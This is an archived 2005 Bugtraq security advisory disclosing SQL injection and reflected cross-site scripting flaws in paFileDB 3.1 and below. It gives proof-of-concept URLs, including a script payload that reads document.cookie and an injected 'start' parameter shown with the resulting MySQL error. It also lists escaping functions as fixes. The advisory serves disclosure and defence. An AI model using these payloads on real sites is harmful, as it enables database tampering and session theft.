PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability

dcrab_at_hackerscenter.com
Date: 03/30/05

  • Next message: Diabolic Crab: "Multiple sql injection, and xss vulnerabilities in Pay pal Storefront" 
    Date: 30 Mar 2005 18:08:21 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is)

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Dcrab 's Security Advisory
    http://icis.digitalparadox.org/~dcrab
    http://www.hackerscenter.com/

    Severity: Medium
    Title: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability
    Date: 31/03/2005

    Vendor: PhpArena
    Vendor Website: http://www.phparena.net/pafiledb.php
    Vendor Status: Contacted but no response
    Summary: There are, pafiledb version 3.1 and below are exploitable via a xss and a sql injection vulnerability.

    Proof of Concept Exploits:
    http://localhost/pafiledb/pafiledb.php?action=viewall&id=&start='SQL_INJECTION&sortby=name
    SQL INJECTION

    paFileDB was unable to successfully run a MySQL query.
    MySQL Returned this error: You have an error in your SQL syntax.
    Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'SQL_INJECTION,20' at line 1 Error number: 1064
    The query that caused this error was: SELECT * FROM pafiledb_files WHERE file_pin = '0' ORDER BY file_name ASC LIMIT \'SQL_INJECTION,20

    http://localhost/pafiledb/pafiledb.php?action=file&id=%22%3E%20%20%3Cscript%3Ealert(document.cookie)%3C/script%3E
    Pops cookie

    Possible Fixes: The usage of htmlspeacialchars(),
    mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.

    Author:
    These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

    iQA/AwUBQkrruiZV5e8av/DUEQKjAACgxmr6hi6uMixKXaoioJ15SeyTEOgAoPr1
    5+ZEj6cpzBEP0yAuv1tHlKyV
    =iwFo
    -----END PGP SIGNATURE-----

  • Next message: Diabolic Crab: "Multiple sql injection, and xss vulnerabilities in Pay pal Storefront"

    Relevant Pages

    • [waraxe-2004-SA#021 - Multiple vulnerabilities in phprofession 2.5 module for PostNuke]
      ... Unsanitaized variable "jcode" will open a way to exploit the XSS in phprofession: ... Good thing for webmasters is, that in case of MySql ... Point is, that this sql injection is in this moment non-critical, but it's ... You have an error in your SQL syntax. ...
      (Bugtraq)
    • Not SQL injection and XSS in paFileDB?
      ... >paFileDB is designed to allow webmasters have a database of files for download on their site. ... >As we can see the $start variable is vuln for sql injection attack. ... >And we can insert XSS code in error message for example: ...
      (Bugtraq)
    • [Full-disclosure] Multiple vulnerabilities in paFileDB
      ... paFileDB is designed to allow webmasters have a database of files for download on their site. ... Cross-site scripting - XSS: ... Full path to script must be kept in secret because it can lead to successful attack on the ... Error message: ...
      (Full-Disclosure)
    • Multiple vulnerabilities in paFileDB
      ... paFileDB is designed to allow webmasters have a database of files for download on their site. ... Cross-site scripting - XSS: ... Full path to script must be kept in secret because it can lead to successful attack on the ... Error message: ...
      (Bugtraq)
    • [SECURITYREASON.COM] SQL injection and XSS in paFileDB
      ... paFileDB is designed to allow webmasters have a database of files for download on their site. ... As we can see the $start variable is vuln for sql injection attack. ... paFileDB was unable to successfully run a MySQL query. ...
      (Bugtraq)